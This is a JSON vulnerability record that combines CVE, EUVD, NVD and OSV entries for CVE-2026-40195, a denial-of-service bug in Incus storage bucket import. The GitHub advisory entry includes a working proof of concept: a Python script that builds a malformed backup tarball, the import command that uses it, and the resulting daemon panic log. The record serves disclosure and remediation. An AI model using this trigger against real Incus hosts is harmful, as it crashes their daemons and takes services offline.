{"id":"EUVD-2026-28207","revision":null,"records":[{"revision":"6946ffbce9e4438dbe231292317eacbd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40195","aliases":[],"title":"Incus nil-pointer dereference in storage bucket import allows denial of service","description":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage bucket import logic allows an authenticated user with access to the storage bucket feature to cause the Incus daemon to crash. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and accesses members of the parsed backup configuration without first verifying that the configuration object was initialized. A malicious or malformed index.yaml that omits the config block causes a nil-pointer dereference during bucket import operations and terminates the daemon. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","state":0,"publishedAt":"2026-05-06T20:33:34.084+00:00","modifiedAt":"2026-05-07T14:01:55.903+00:00","affected":[{"ecosystem":"Vendor product","name":"incus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lxc\",\n                    \"product\": \"incus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40195","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40195","identifiers":["CVE-2026-40195"]},"retained":false,"historicalAffected":[]},{"revision":"dc4d3fa523c14523bb824ab7e5bd0ea2","observedAt":"2026-11-07T08:36:37.09+00:00","statement":{"source":"euvd","id":"EUVD-2026-28207","aliases":["CVE-2026-40195","GHSA-gc7j-g665-rxr9"],"title":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage bucket import logic allows an authenticated user with access to the storage bucket feature to cause the Incus daemon …","description":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage bucket import logic allows an authenticated user with access to the storage bucket feature to cause the Incus daemon to crash. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and accesses members of the parsed backup configuration without first verifying that the configuration object was initialized. A malicious or malformed index.yaml that omits the config block causes a nil-pointer dereference during bucket import operations and terminates the daemon. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28207","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 6, 2026, 8:33:34 PM","dateUpdated":"May 7, 2026, 2:01:55 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28207","identifiers":["EUVD-2026-28207","CVE-2026-40195","GHSA-gc7j-g665-rxr9"]},"retained":false,"historicalAffected":[]},{"revision":"d3a540dbcde14086bf79df7113232ce3","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40195","aliases":[],"title":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage bucket import logic allows an authenticated user with access to the storage bucket feature to cause the Incus daemon …","description":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage bucket import logic allows an authenticated user with access to the storage bucket feature to cause the Incus daemon to crash. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and accesses members of the parsed backup configuration without first verifying that the configuration object was initialized. A malicious or malformed index.yaml that omits the config block causes a nil-pointer dereference during bucket import operations and terminates the daemon. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","state":0,"publishedAt":"2026-05-06T21:16:00.793+00:00","modifiedAt":"2026-10-26T19:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40195","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-476"],"productCriteria":["cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-06T21:16:00.793","lastModified":"2026-10-26T19:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40195","identifiers":["CVE-2026-40195"]},"retained":false,"historicalAffected":[]},{"revision":"b8db811238364411b59bec0eb68b62ba","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-gc7j-g665-rxr9","aliases":["CVE-2026-40195","GO-2026-5397"],"title":"Incus has a Nil-Pointer Dereference Panic via Bucket Metadata","description":"### Summary\nMissing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.\n\nIn Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    bucketRequest := api.StorageBucketsPost{\n        Name:             srcBackup.Name,\n        StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut,\n    }\n\n    // Create the bucket to import.\n    err = b.CreateBucket(srcBackup.Project, bucketRequest, op)\n    if err != nil {\n        return err\n    }\n\n    reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) })\n\n    // Upload all keys from the backup.\n    for _, bucketKey := range srcBackup.Config.BucketKeys {\n        bucketKeyRequest := api.StorageBucketKeysPost{\n            Name:                bucketKey.Name,\n            StorageBucketKeyPut: bucketKey.StorageBucketKeyPut,\n        }\n\n        _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op)\n        if err != nil {\n            return err\n        }\n    }\n\n    // Upload all files from the backup.\n    backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name)\n    if err != nil {\n        return err\n    }\n\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.\n\nStep 1: Create the malformed archive\n\nFrom a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.\n\nCommands:\n```\ncat <<EOF > poc_bucket_nil.py\nimport tarfile\nimport io\n\nindex_content = b\"name: dos-trigger\\n\"\n\nwith tarfile.open(\"nil_panic.tar.gz\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"backup/index.yaml\")\n    info.size = len(index_content)\n    tar.addfile(info, io.BytesIO(index_content))\n\nprint(\"[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\")\nEOF\n\npython3 poc_bucket_nil.py\n```\n\nResult:\n```\n[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable bucket import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool nil_panic.tar.gz crash-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic\"\n```\n\nResult:\n```\nMar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223]\nMar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]:\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303\nMar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 9576\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)","state":0,"publishedAt":"2026-05-04T17:40:00+00:00","modifiedAt":"2026-06-25T19:56:01.2399021+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v6/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9","https://nvd.nist.gov/vuln/detail/CVE-2026-40195","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-gc7j-g665-rxr9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gc7j-g665-rxr9","identifiers":["GHSA-gc7j-g665-rxr9","CVE-2026-40195","GO-2026-5397"]},"retained":false,"historicalAffected":[]},{"revision":"2e76ef7b75684db190318b9985f95ab3","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5397","aliases":["CVE-2026-40195","GHSA-gc7j-g665-rxr9"],"title":"Incus has a Nil-Pointer Dereference Panic via Bucket Metadata in github.com/lxc/incus","description":"Incus has a Nil-Pointer Dereference Panic via Bucket Metadata in github.com/lxc/incus","state":0,"publishedAt":"2026-06-25T18:43:19+00:00","modifiedAt":"2026-06-25T19:45:38.4425607+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9","https://nvd.nist.gov/vuln/detail/CVE-2026-40195"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5397","license":"OSV · upstream source license applies","key":"osv:GO-2026-5397","identifiers":["GO-2026-5397","CVE-2026-40195","GHSA-gc7j-g665-rxr9"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e1c431e1022f4db1b4e459e61c31a4ca","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T16:08:00.6485737+00:00","lastSuccessAt":"2026-11-07T16:08:00.644+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:08:00.644+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T16:07:52.5107257+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5107257+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T16:07:52.2947928+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.2947928+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T16:07:52.5258708+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5258708+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T16:07:52.4004477+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.4004477+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}